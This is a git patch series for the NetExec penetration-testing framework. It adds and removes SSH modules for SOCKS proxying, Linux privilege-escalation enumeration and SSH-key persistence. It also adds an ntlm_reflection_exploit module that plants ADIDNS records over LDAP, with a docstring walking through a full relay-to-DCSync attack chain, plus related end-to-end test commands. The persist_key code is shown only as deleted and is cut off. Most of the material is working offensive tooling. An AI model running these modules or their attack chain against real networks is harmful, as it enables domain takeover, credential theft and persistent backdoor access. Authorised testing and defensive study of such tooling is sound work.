+ if kex: algos = [x.strip() for x in kex.split(",") if x.strip()] context.log.display(f"[ssh_socks] Forcing KEX algos: {algos}") # Patch paramiko defaults from paramiko.transport import Transport Transport._preferred_kex = algos - + if hostkey: algos = [x.strip() for x in hostkey.split(",") if x.strip()] context.log.display(f"[ssh_socks] Forcing hostkey algos: {algos}") from paramiko.transport import Transport Transport._preferred_pubkeys = algos - def on_login(self, context, connection): """ Called after SSH auth succeeds. We reuse NetExec's Paramiko transport. @@ -116,8 +115,10 @@ def _handle_client(self, context, client): hdr = self._recv_exact(client, 4) if not hdr or hdr[0] != 0x05 or hdr[1] != 0x01: # CONNECT only # reply: command not supported - try: client.sendall(b"\x05\x07\x00\x01\0\0\0\0\x00\x00") - except Exception: pass + try: + client.sendall(b"\x05\x07\x00\x01\0\0\0\0\x00\x00") + except Exception: + pass return atyp = hdr[3] @@ -130,8 +131,10 @@ def _handle_client(self, context, client): raw = self._recv_exact(client, 16) dst_addr = socket.inet_ntop(socket.AF_INET6, raw) else: - try: client.sendall(b"\x05\x08\x00\x01\0\0\0\0\x00\x00") - except Exception: pass + try: + client.sendall(b"\x05\x08\x00\x01\0\0\0\0\x00\x00") + except Exception: + pass return dst_port = struct.unpack(">H", self._recv_exact(client, 2))[0] @@ -159,11 +162,15 @@ def _handle_client(self, context, client): except Exception as e: context.log.error(f"[ssh_socks] SOCKS5 handler error: {e}") finally: - try: client.close() - except Exception: pass + try: + client.close() + except Exception: + pass if remote: - try: remote.close() - except Exception: pass + try: + remote.close() + except Exception: + pass def _pump(self, c, r): bufsz = 65536 From 2a5e5fcfc09f98aa07006ed8c12dda59310c2e60 Mon Sep 17 00:00:00 2001 From: overgrowncarrot1 Date: Sun, 24 Aug 2025 00:57:28 +0000 Subject: [PATCH 07/14] Linux_PrivEsc_Check for SSH Module --- nxc/modules/linux_privesc_check.py | 171 +++++++++++++++++++++++++++++ 1 file changed, 171 insertions(+) create mode 100644 nxc/modules/linux_privesc_check.py diff --git a/nxc/modules/linux_privesc_check.py b/nxc/modules/linux_privesc_check.py new file mode 100644 index 0000000000..239ddea0b2 --- /dev/null +++ b/nxc/modules/linux_privesc_check.py @@ -0,0 +1,171 @@ +import requests +import re + +RED = "\033[91m" +RESET = "\033[0m" + +class NXCModule: + name = "linux_privesc_check" + description = "Check sudo -l, SUID binaries, capabilities, and kernel version for potential Linux privesc paths" + supported_protocols = ["ssh"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.no_sudo = False + self.gtfobins_online = True + self.show_all_suid = False + self.show_all_caps = False + self.logger = None + self.conn = None + self.password = None + + def options(self, context, module_options): + self.logger = context.log + + self.no_sudo = module_options.get("NO_SUDO", "false").lower() in ("true","1","yes") + if self.no_sudo: + self.logger.display("[linux_privesc_check] Skipping sudo -l enumeration (NO_SUDO)") + else: + self.logger.display("[linux_privesc_check] Sudo -l enumeration enabled") + + self.gtfobins_online = module_options.get("NO_GTF","false").lower() not in ("true","1","yes") + if not self.gtfobins_online: + self.logger.display("[linux_privesc_check] Skipping GTFOBins lookups (NO_GTF)") + + self.show_all_suid = module_options.get("SHOW_ALL_SUID","false").lower() in ("true","1","yes") + if self.show_all_suid: + self.logger.display("[linux_privesc_check] Showing all SUID binaries (SHOW_ALL_SUID)") + + self.show_all_caps = module_options.get("SHOW_ALL_CAPS","false").lower() in ("true","1","yes") + if self.show_all_caps: + self.logger.display("[linux_privesc_check] Showing all capabilities (SHOW_ALL_CAPS)") + + def on_login(self, context, connection): + self.conn = connection.conn + self.password = connection.password + self.logger.display("[linux_privesc_check] Running Linux privilege escalation checks...") + + # Kernel info + kernel = self._run_cmd("uname -a") + if kernel: + self.logger.display(f"[Kernel] {kernel}") + + # UID info + uidinfo = self._run_cmd("id") + if uidinfo: + self.logger.display(f"[User Info] {uidinfo}") + + # Sudo -l + if not self.no_sudo: + self.logger.display("[Sudo] Checking sudo -l...") + sudo_out = self._sudo_list() + if sudo_out: + self.logger.display(sudo_out) + else: + self.logger.display("[Sudo] No sudo rights or password required") + + # SUID binaries + self.logger.display("[SUID] Checking for exploitable SUID binaries...") + suid_bins = self._run_cmd("find / -perm -4000 -type f 2>/dev/null").splitlines() + for b in suid_bins: + gtfobin = self._check_gtfobins(b, type_filter="suid") + if gtfobin or self.show_all_suid: + line = f"Exploit SUID: {b}" + if gtfobin: + line += f" -> {RED}{gtfobin}{RESET}" + self.logger.display(line) + + # Capabilities + self.logger.display("[Capabilities] Checking for binaries with capabilities...") + caps = self._run_cmd("getcap -r / 2>/dev/null").splitlines() + for c in caps: + binpath = c.split("=")[0] + gtfobin = self._check_gtfobins(binpath, type_filter="capabilities") + if gtfobin: + self.logger.display(f"Capability: {c} -> {RED}{gtfobin}{RESET}") + elif self.show_all_caps: + self.logger.display(f"Capability: {c}") + + if not self.gtfobins_online: + self.logger.display("[!] GTFOBins lookup skipped — no internet connection or NO_GTF set") + + # ---------- Internal helpers ---------- + + def _run_cmd(self, cmd, getpass=False): + try: + _, stdout, stderr = self.conn.exec_command(cmd, get_pty=getpass, timeout=20) + return stdout.read().decode(errors="ignore").strip() + except Exception as e: + self.logger.error(f"Command failed: {cmd} -> {e}") + return "" + + def _sudo_list(self): + """Run sudo -l using provided password if needed""" + try: + cmd = "sudo -l -S" + stdin, stdout, stderr = self.conn.exec_command(cmd, get_pty=True, timeout=20) + if self.password: + stdin.write(self.password + "\n") + stdin.flush() + out = stdout.read().decode(errors="ignore") + err = stderr.read().decode(errors="ignore") + combined = out + err + if combined.strip() == "": + return None + highlighted = [] + for line in combined.splitlines(): + if "ALL" in line: + # Try to append GTFOBins URL for sudo commands + cmd_match = re.search(r'NOPASSWD:\s*(.*)', line) + url = None + if cmd_match: + path = cmd_match.group(1).strip() + url = self._check_gtfobins(path, type_filter="sudo") + if url: + highlighted.append(f"{line} -> {RED}{url}{RESET}") + else: + highlighted.append(f"{RED}{line}{RESET}" if "ALL" in line else line) + else: + highlighted.append(line) + return "\n".join(highlighted) + except Exception as e: + self.logger.error(f"sudo command failed: -l -> {e}") + return None + + def _check_gtfobins(self, binary_path, type_filter=None): + """Return GTFOBins URL if online and matching type (suid, sudo, capabilities)""" + if not self.gtfobins_online: + return None + + # Extract the binary name + bin_name = binary_path.strip().split("/")[-1] + bin_name = bin_name.split()[0] + + # Only clean for capabilities + if type_filter and type_filter.lower() == "capabilities": + # Strip trailing digits (python3 -> python) + bin_name = re.sub(r'\d+$', '', bin_name) + # Remove anything after a space (like cap_setuid,cap_net=ep) + bin_name = re.sub(r'[^a-zA-Z0-9_\-]+$', '', bin_name) + + url = f"https://gtfobins.github.io/gtfobins/{bin_name}/" + if type_filter: + url += f"#{type_filter.lower()}" + + try: + resp = requests.get(url, timeout=3) + if resp.status_code == 200: + # Only validate if the page contains the correct type keyword + if type_filter and type_filter.lower() in ("suid", "sudo"): + if type_filter.lower() not in resp.text.lower(): + return None + return url + except Exception: + self.gtfobins_online = False + + return None + + + + \ No newline at end of file From 0f9066d84556091545c5e6cc8a5c2c6b343d3edd Mon Sep 17 00:00:00 2001 From: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> Date: Sat, 23 Aug 2025 21:38:14 -0400 Subject: [PATCH 08/14] Delete nxc/modules/linux_privesc_check.py Signed-off-by: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> --- nxc/modules/linux_privesc_check.py | 171 ----------------------------- 1 file changed, 171 deletions(-) delete mode 100644 nxc/modules/linux_privesc_check.py diff --git a/nxc/modules/linux_privesc_check.py b/nxc/modules/linux_privesc_check.py deleted file mode 100644 index 239ddea0b2..0000000000 --- a/nxc/modules/linux_privesc_check.py +++ /dev/null @@ -1,171 +0,0 @@ -import requests -import re - -RED = "\033[91m" -RESET = "\033[0m" - -class NXCModule: - name = "linux_privesc_check" - description = "Check sudo -l, SUID binaries, capabilities, and kernel version for potential Linux privesc paths" - supported_protocols = ["ssh"] - opsec_safe = True - multiple_hosts = True - - def __init__(self): - self.no_sudo = False - self.gtfobins_online = True - self.show_all_suid = False - self.show_all_caps = False - self.logger = None - self.conn = None - self.password = None - - def options(self, context, module_options): - self.logger = context.log - - self.no_sudo = module_options.get("NO_SUDO", "false").lower() in ("true","1","yes") - if self.no_sudo: - self.logger.display("[linux_privesc_check] Skipping sudo -l enumeration (NO_SUDO)") - else: - self.logger.display("[linux_privesc_check] Sudo -l enumeration enabled") - - self.gtfobins_online = module_options.get("NO_GTF","false").lower() not in ("true","1","yes") - if not self.gtfobins_online: - self.logger.display("[linux_privesc_check] Skipping GTFOBins lookups (NO_GTF)") - - self.show_all_suid = module_options.get("SHOW_ALL_SUID","false").lower() in ("true","1","yes") - if self.show_all_suid: - self.logger.display("[linux_privesc_check] Showing all SUID binaries (SHOW_ALL_SUID)") - - self.show_all_caps = module_options.get("SHOW_ALL_CAPS","false").lower() in ("true","1","yes") - if self.show_all_caps: - self.logger.display("[linux_privesc_check] Showing all capabilities (SHOW_ALL_CAPS)") - - def on_login(self, context, connection): - self.conn = connection.conn - self.password = connection.password - self.logger.display("[linux_privesc_check] Running Linux privilege escalation checks...") - - # Kernel info - kernel = self._run_cmd("uname -a") - if kernel: - self.logger.display(f"[Kernel] {kernel}") - - # UID info - uidinfo = self._run_cmd("id") - if uidinfo: - self.logger.display(f"[User Info] {uidinfo}") - - # Sudo -l - if not self.no_sudo: - self.logger.display("[Sudo] Checking sudo -l...") - sudo_out = self._sudo_list() - if sudo_out: - self.logger.display(sudo_out) - else: - self.logger.display("[Sudo] No sudo rights or password required") - - # SUID binaries - self.logger.display("[SUID] Checking for exploitable SUID binaries...") - suid_bins = self._run_cmd("find / -perm -4000 -type f 2>/dev/null").splitlines() - for b in suid_bins: - gtfobin = self._check_gtfobins(b, type_filter="suid") - if gtfobin or self.show_all_suid: - line = f"Exploit SUID: {b}" - if gtfobin: - line += f" -> {RED}{gtfobin}{RESET}" - self.logger.display(line) - - # Capabilities - self.logger.display("[Capabilities] Checking for binaries with capabilities...") - caps = self._run_cmd("getcap -r / 2>/dev/null").splitlines() - for c in caps: - binpath = c.split("=")[0] - gtfobin = self._check_gtfobins(binpath, type_filter="capabilities") - if gtfobin: - self.logger.display(f"Capability: {c} -> {RED}{gtfobin}{RESET}") - elif self.show_all_caps: - self.logger.display(f"Capability: {c}") - - if not self.gtfobins_online: - self.logger.display("[!] GTFOBins lookup skipped — no internet connection or NO_GTF set") - - # ---------- Internal helpers ---------- - - def _run_cmd(self, cmd, getpass=False): - try: - _, stdout, stderr = self.conn.exec_command(cmd, get_pty=getpass, timeout=20) - return stdout.read().decode(errors="ignore").strip() - except Exception as e: - self.logger.error(f"Command failed: {cmd} -> {e}") - return "" - - def _sudo_list(self): - """Run sudo -l using provided password if needed""" - try: - cmd = "sudo -l -S" - stdin, stdout, stderr = self.conn.exec_command(cmd, get_pty=True, timeout=20) - if self.password: - stdin.write(self.password + "\n") - stdin.flush() - out = stdout.read().decode(errors="ignore") - err = stderr.read().decode(errors="ignore") - combined = out + err - if combined.strip() == "": - return None - highlighted = [] - for line in combined.splitlines(): - if "ALL" in line: - # Try to append GTFOBins URL for sudo commands - cmd_match = re.search(r'NOPASSWD:\s*(.*)', line) - url = None - if cmd_match: - path = cmd_match.group(1).strip() - url = self._check_gtfobins(path, type_filter="sudo") - if url: - highlighted.append(f"{line} -> {RED}{url}{RESET}") - else: - highlighted.append(f"{RED}{line}{RESET}" if "ALL" in line else line) - else: - highlighted.append(line) - return "\n".join(highlighted) - except Exception as e: - self.logger.error(f"sudo command failed: -l -> {e}") - return None - - def _check_gtfobins(self, binary_path, type_filter=None): - """Return GTFOBins URL if online and matching type (suid, sudo, capabilities)""" - if not self.gtfobins_online: - return None - - # Extract the binary name - bin_name = binary_path.strip().split("/")[-1] - bin_name = bin_name.split()[0] - - # Only clean for capabilities - if type_filter and type_filter.lower() == "capabilities": - # Strip trailing digits (python3 -> python) - bin_name = re.sub(r'\d+$', '', bin_name) - # Remove anything after a space (like cap_setuid,cap_net=ep) - bin_name = re.sub(r'[^a-zA-Z0-9_\-]+$', '', bin_name) - - url = f"https://gtfobins.github.io/gtfobins/{bin_name}/" - if type_filter: - url += f"#{type_filter.lower()}" - - try: - resp = requests.get(url, timeout=3) - if resp.status_code == 200: - # Only validate if the page contains the correct type keyword - if type_filter and type_filter.lower() in ("suid", "sudo"): - if type_filter.lower() not in resp.text.lower(): - return None - return url - except Exception: - self.gtfobins_online = False - - return None - - - - \ No newline at end of file From 8c598a82a717101782d49a37f63484f7b965eca2 Mon Sep 17 00:00:00 2001 From: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> Date: Sat, 13 Sep 2025 10:34:21 -0400 Subject: [PATCH 09/14] Update e2e_commands.txt Signed-off-by: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> --- tests/e2e_commands.txt | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 9379f97558..3c751959f0 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -287,17 +287,6 @@ netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo- netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10 netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put-file TEST_NORMAL_FILE /tmp/test_file.txt --put-file TEST_NORMAL_FILE /tmp/test_file2.txt netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get-file /tmp/test_file.txt /tmp/test_file.txt --get-file /tmp/test_file.txt /tmp/test_file2.txt -##### SMB Modules -nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module ssh_socks -nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module ssh_socks --port TARGET_PORT -nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module ssh_socks -o PORT=1080,KEX=diffie-hellman-group1-sha1,HOSTKEY=ssh-dss -nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o PUBKEY=/home/kali/.ssh/id_ed25519.pub -nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o USER=alice -nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o BACKUP=false -nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o REMOVE=true -nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o REMOVE=backup -nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o KEX=diffie-hellman-group14-sha1,HOSTKEY=ssh-rsa ##### FTP- Default test passwords and random key; switch these out if you want correct authentication netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls From 3eff333fb963159b0ec2762faf2d085527aad1eb Mon Sep 17 00:00:00 2001 From: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> Date: Fri, 19 Dec 2025 17:15:09 -0500 Subject: [PATCH 10/14] Implement ntlm_reflection_exploit module for DNS records This module allows for adding, listing, or cleaning up ADIDNS A records for NTLM reflection and relay. It includes options for specifying DNS records, IP addresses, and modes of operation. Signed-off-by: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> --- nxc/modules/ntlm_reflection_exploit.py | 331 +++++++++++++++++++++++++ 1 file changed, 331 insertions(+) create mode 100644 nxc/modules/ntlm_reflection_exploit.py diff --git a/nxc/modules/ntlm_reflection_exploit.py b/nxc/modules/ntlm_reflection_exploit.py new file mode 100644 index 0000000000..bb307580bb --- /dev/null +++ b/nxc/modules/ntlm_reflection_exploit.py @@ -0,0 +1,331 @@ +import ssl +import sys +import socket +import dns.resolver +import ldap3 +from struct import unpack +from impacket.structure import Structure +from ldap3 import Tls +from nxc.helpers.misc import CATEGORY + + +# ----------------------------- +# DNS Structures (from MS-DNSP) +# ----------------------------- + +class DNS_RECORD(Structure): + structure = ( + ('DataLength', 'L'), + ('Reserved', ' Required. DNS record label to create/delete/list. + Example: RECORD="localhostXYZ" + + DATA= Required for ADD mode. One or more IPv4 addresses. + Example: DATA="192.168.1.10 192.168.1.11" + + LIST= List the DNS node and all A records. + Example: LIST=true + + CLEANUP= Hard delete the dnsNode (Option A). + Example: CLEANUP=true + + ZONE= Optional. DNS zone. Defaults to the AD domain. + Example: ZONE="north.sevenkingdoms.local" + + DNSIP= Optional. DNS server to query for SOA serial. + Example: DNSIP=192.168.56.11 + + TTL= Optional. TTL for A records. Default: 180. + + TCP= Optional. Use TCP for SOA lookup. + + EX: + + Use on a machine that has signing False + + nxc ldap 192.168.56.11 -u 'north.sevenkingdoms.local\\samwell.tarly' -p Heartsbane -M ntlm_reflection_exploit -o RECORD="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" DATA="192.168.18.43" + + nxc ldap 192.168.56.11 -u 'north.sevenkingdoms.local\\samwell.tarly' -p Heartsbane -M ntlm_reflection_exploit -o RECORD="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" LIST=true + + ntlmrelayx.py -smb2support -t smb://192.168.56.11 + + ****REMEMBER NTLMRELAY WITH NO ARGUMENTS WILL CONDUCT A DCSYNC**** + + nxc smb 192.168.56.11 -u samwell.tarly -p Heartsbane -M coerce_plus -o L='localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' M=pe + + nxc ldap 192.168.56.11 -u 'north.sevenkingdoms.local\\samwell.tarly' -p Heartsbane -M ntlm_reflection_exploit -o RECORD="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" CLEANUP=true + + nxc ldap 192.168.56.11 -u 'north.sevenkingdoms.local\\samwell.tarly' -p Heartsbane -M ntlm_reflection_exploit -o RECORD="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" LIST=true + """ + + self.record_name = module_options.get("RECORD") + if not self.record_name: + context.log.error("RECORD option is required") + sys.exit(1) + + # Modes + self.list_only = str(module_options.get("LIST", "")).lower() in ["true", "1", "yes", "y"] + self.cleanup = str(module_options.get("CLEANUP", "")).lower() in ["true", "1", "yes", "y"] + + # DATA only required for ADD mode + if not self.list_only and not self.cleanup: + if "DATA" not in module_options: + context.log.error("DATA option is required unless LIST or CLEANUP is used") + sys.exit(1) + raw_data = module_options["DATA"] + self.ips = [x.strip() for x in raw_data.replace(",", " ").split() if x.strip()] + if not self.ips: + context.log.error("No valid IPs parsed from DATA") + sys.exit(1) + else: + self.ips = [] + + # Optional parameters + self.zone = module_options.get("ZONE") + self.dns_ip = module_options.get("DNSIP") + self.ttl = int(module_options.get("TTL", 180)) + self.use_tcp = str(module_options.get("TCP", "")).lower() in ["true", "1", "yes", "y"] + + # ------------------------- + # Main Execution + # ------------------------- + def on_login(self, context, connection): + ldap_host = connection.host + ldap_port = int(getattr(connection, "port", 389)) + use_ldaps = ldap_port == 636 + + bind_user = connection.username or "" + bind_pass = connection.password or "" + domain = connection.domain or "" + + context.log.info(f"[{self.name}] Connecting to LDAP {ldap_host}:{ldap_port} (LDAPS={use_ldaps})") + + tls = Tls( + validate=ssl.CERT_NONE, + version=ssl.PROTOCOL_TLSv1_2, + ciphers="ALL:@SECLEVEL=0" + ) if use_ldaps else None + + server = ldap3.Server( + ldap_host, + use_ssl=use_ldaps, + port=ldap_port, + get_info=ldap3.ALL, + tls=tls + ) + + bind_name = bind_user + if domain and "@" not in bind_user and "\\" not in bind_user: + bind_name = f"{bind_user}@{domain}" + + try: + conn = ldap3.Connection(server, user=bind_name, password=bind_pass, auto_bind=True) + context.log.info(f"[{self.name}] LDAP bind successful as {bind_name}") + except Exception as e: + context.log.error(f"[{self.name}] LDAP bind failed: {e}") + return + + # ------------------------- + # Determine base DN (RootDSE) + # ------------------------- + base_dn = None + + # First attempt: explicit RootDSE query for defaultNamingContext + try: + if conn.search( + search_base='', + search_filter='(objectClass=*)', + search_scope=ldap3.BASE, + attributes=['defaultNamingContext'] + ): + entry = conn.entries[0] + if hasattr(entry, 'defaultNamingContext'): + base_dn = entry.defaultNamingContext.value + except Exception: + pass + + # Fallback: use ldap3 server info + if not base_dn: + try: + base_dn = conn.server.info.other['defaultNamingContext'][0] + except Exception as e: + context.log.error(f"[{self.name}] Could not determine base DN: {e}") + conn.unbind() + return + + domain_fqdn = ldap2domain(base_dn) + zone = self.zone if self.zone else domain_fqdn + + dnsroot = f"CN=MicrosoftDNS,DC=DomainDnsZones,{base_dn}" + searchtarget = f"DC={zone},{dnsroot}" + + escaped = ldap3.utils.conv.escape_filter_chars(self.record_name) + search_filter = f"(&(objectClass=dnsNode)(name={escaped}))" + + conn.search(searchtarget, search_filter, attributes=["dnsRecord", "name"]) + targetentry = next((e for e in conn.response if e["type"] == "searchResEntry"), None) + + # ------------------------- + # LIST MODE + # ------------------------- + if self.list_only: + if not targetentry: + context.log.highlight(f'[LIST] dnsNode "{self.record_name}" not found in zone "{zone}"') + conn.unbind() + return + + context.log.highlight(f'[LIST] dnsNode DN: {targetentry["dn"]}') + for record in targetentry["raw_attributes"]["dnsRecord"]: + dr = DNS_RECORD(record) + if dr["Type"] == 1: + a = DNS_RPC_RECORD_A(dr["Data"]) + context.log.highlight(f" A → {a.formatCanonical()} (Serial {dr['Serial']})") + + conn.unbind() + return + + # ------------------------- + # CLEANUP MODE + # ------------------------- + if self.cleanup: + if not targetentry: + context.log.highlight(f'[CLEANUP] dnsNode "{self.record_name}" not found (nothing to delete)') + conn.unbind() + return + + dn = targetentry["dn"] + context.log.highlight(f'[CLEANUP] Deleting dnsNode "{self.record_name}"...') + conn.delete(dn) + + if conn.result["result"] == 0: + context.log.highlight(f'[CLEANUP] Successfully deleted "{self.record_name}"') + else: + context.log.error(f'[CLEANUP] Delete failed: {conn.result}') + + conn.unbind() + return + + # ------------------------- + # ADD MODE + # ------------------------- + if targetentry: + context.log.error( + f'DNS node "{self.record_name}" already exists in zone "{zone}".\n' + f'This module does not modify existing nodes.\n' + f'Use CLEANUP=True if you need to remove it.' + ) + conn.unbind() + return + + # Compute serial + try: + serial = get_next_serial(self.dns_ip, ldap_host, zone, self.use_tcp) + except Exception as e: + context.log.error(f"[{self.name}] Failed to get SOA serial for zone {zone}: {e}") + serial = 1 + + record_blobs = [] + for ip in self.ips: + try: + socket.inet_aton(ip) + except OSError: + context.log.error(f"[{self.name}] Invalid IPv4 address in DATA: {ip}") + conn.unbind() + return + + rec = new_record_a(self.ttl, serial, ip) + record_blobs.append(rec.getData()) + + record_dn = f"DC={self.record_name},{searchtarget}" + node_data = { + "objectCategory": f"CN=Dns-Node,{server.info.other['schemaNamingContext'][0]}", + "dNSTombstoned": False, + "name": self.record_name, + "dnsRecord": record_blobs, + } + + context.log.highlight( + f'Creating new dnsNode "{self.record_name}" in zone "{zone}" with {len(record_blobs)} A record(s)...' + ) + + conn.add(record_dn, ["top", "dnsNode"], node_data) + + if conn.result["result"] == 0: + context.log.highlight(f'Successfully created dnsNode "{self.record_name}"') + else: + context.log.error(f"[{self.name}] LDAP add failed: {conn.result}") + + conn.unbind() From 7d4b9fcda0656dc5d4cce6481dc951bfed7aba41 Mon Sep 17 00:00:00 2001 From: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> Date: Fri, 19 Dec 2025 17:22:35 -0500 Subject: [PATCH 11/14] Clean up imports and remove commented DNS structures Removed unused imports and commented-out code related to DNS structures. Signed-off-by: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> --- nxc/modules/ntlm_reflection_exploit.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/nxc/modules/ntlm_reflection_exploit.py b/nxc/modules/ntlm_reflection_exploit.py index bb307580bb..30637d04dd 100644 --- a/nxc/modules/ntlm_reflection_exploit.py +++ b/nxc/modules/ntlm_reflection_exploit.py @@ -3,16 +3,10 @@ import socket import dns.resolver import ldap3 -from struct import unpack from impacket.structure import Structure from ldap3 import Tls from nxc.helpers.misc import CATEGORY - -# ----------------------------- -# DNS Structures (from MS-DNSP) -# ----------------------------- - class DNS_RECORD(Structure): structure = ( ('DataLength', ' Date: Fri, 19 Dec 2025 17:24:49 -0500 Subject: [PATCH 12/14] Add NTLM reflection exploit commands to e2e_commands Signed-off-by: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> --- tests/e2e_commands.txt | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index f334b8c820..fd372b972a 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -230,6 +230,9 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-de netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlm_reflection_exploit -o RECORD="LOCALHOST RECORD" DATA="LHOST" +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlm_reflection_exploit -o RECORD="LOCALHOST RECORD" LIST=true +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlm_reflection_exploit -o RECORD="LOCALHOST RECORD" CLEANUP=true ##### WINRM netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig @@ -316,4 +319,4 @@ netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE netexec nfs TARGET_HOST -u "" -p "" --shares netexec nfs TARGET_HOST -u "" -p "" --enum-shares netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt -netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test \ No newline at end of file +netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test From f9d630ee75eb9e27b1731e68389622d2b5e0a53f Mon Sep 17 00:00:00 2001 From: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> Date: Sat, 20 Dec 2025 10:11:39 -0500 Subject: [PATCH 13/14] Delete nxc/modules/persist_key.py Signed-off-by: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> --- nxc/modules/persist_key.py | 226 ------------------------------------- 1 file changed, 226 deletions(-) delete mode 100644 nxc/modules/persist_key.py diff --git a/nxc/modules/persist_key.py b/nxc/modules/persist_key.py deleted file mode 100644 index 0d5b425094..0000000000 --- a/nxc/modules/persist_key.py +++ /dev/null @@ -1,226 +0,0 @@ -# ~/.nxc/modules/persist_key.py -import os -import time - -class NXCModule: - name = "persist_key" - description = "Inject or remove public key(s) in ~/.ssh/authorized_keys for persistence (Linux)" - supported_protocols = ["ssh"] - opsec_safe = True - multiple_hosts = False - - def options(self, context, module_options): - self.pubkey_opt = module_options.get("PUBKEY", "").strip() - self.target_user = module_options.get("USER", "").strip() - self.backup = str(module_options.get("BACKUP", "true")).lower() in ("1", "true", "yes", "y") - self.remove_raw = module_options.get("REMOVE", "false").lower() - - # Determine remove mode - if self.remove_raw in ("1", "true", "yes", "y"): - self.remove_mode = "key" - elif self.remove_raw == "backup": - self.remove_mode = "backup" - else: - self.remove_mode = None - - # Legacy SSH options - self.kex = module_options.get("KEX") - self.hostkey = module_options.get("HOSTKEY") - - if self.kex: - algos = [x.strip() for x in self.kex.split(",") if x.strip()] - context.log.display(f"[ssh_persist_key] Forcing KEX algos: {algos}") - from paramiko.transport import Transport - Transport._preferred_kex = algos - - if self.hostkey: - algos = [x.strip() for x in self.hostkey.split(",") if x.strip()] - context.log.display(f"[ssh_persist_key] Forcing hostkey algos: {algos}") - from paramiko.transport import Transport - Transport._preferred_pubkeys = algos - - # Auto-discover keys if PUBKEY not given - if not self.pubkey_opt: - default_keys = ["id_rsa.pub", "id_ecdsa.pub", "id_ed25519.pub", "id_dsa.pub"] - found_keys = [] - for k in default_keys: - candidate = os.path.expanduser(f"~/.ssh/{k}") - if os.path.isfile(candidate): - found_keys.append(candidate) - if not found_keys: - raise ValueError("[ssh_persist_key] No default public keys found in ~/.ssh") - self.pubkey_opt = found_keys - else: - self.pubkey_opt = [self.pubkey_opt] - - def on_login(self, context, connection): - # Only Linux - if getattr(connection, "server_os_platform", "").lower() != "linux": - context.log.error("[ssh_persist_key] Target OS not Linux – aborting.") - return - - if not hasattr(connection, "conn") or connection.conn is None: - context.log.error("[ssh_persist_key] No SSH client available.") - return - - ssh_user = getattr(connection, "username", None) - if not self.target_user: - self.target_user = ssh_user or self._remote_whoami(connection) or "root" - - home = self._remote_user_home(connection, self.target_user) - if not home: - context.log.error(f"[ssh_persist_key] Unable to resolve home dir for user '{self.target_user}'.") - return - - ssh_dir = f"{home}/.ssh" - auth_keys = f"{ssh_dir}/authorized_keys" - - try: - sftp = connection.conn.open_sftp() - 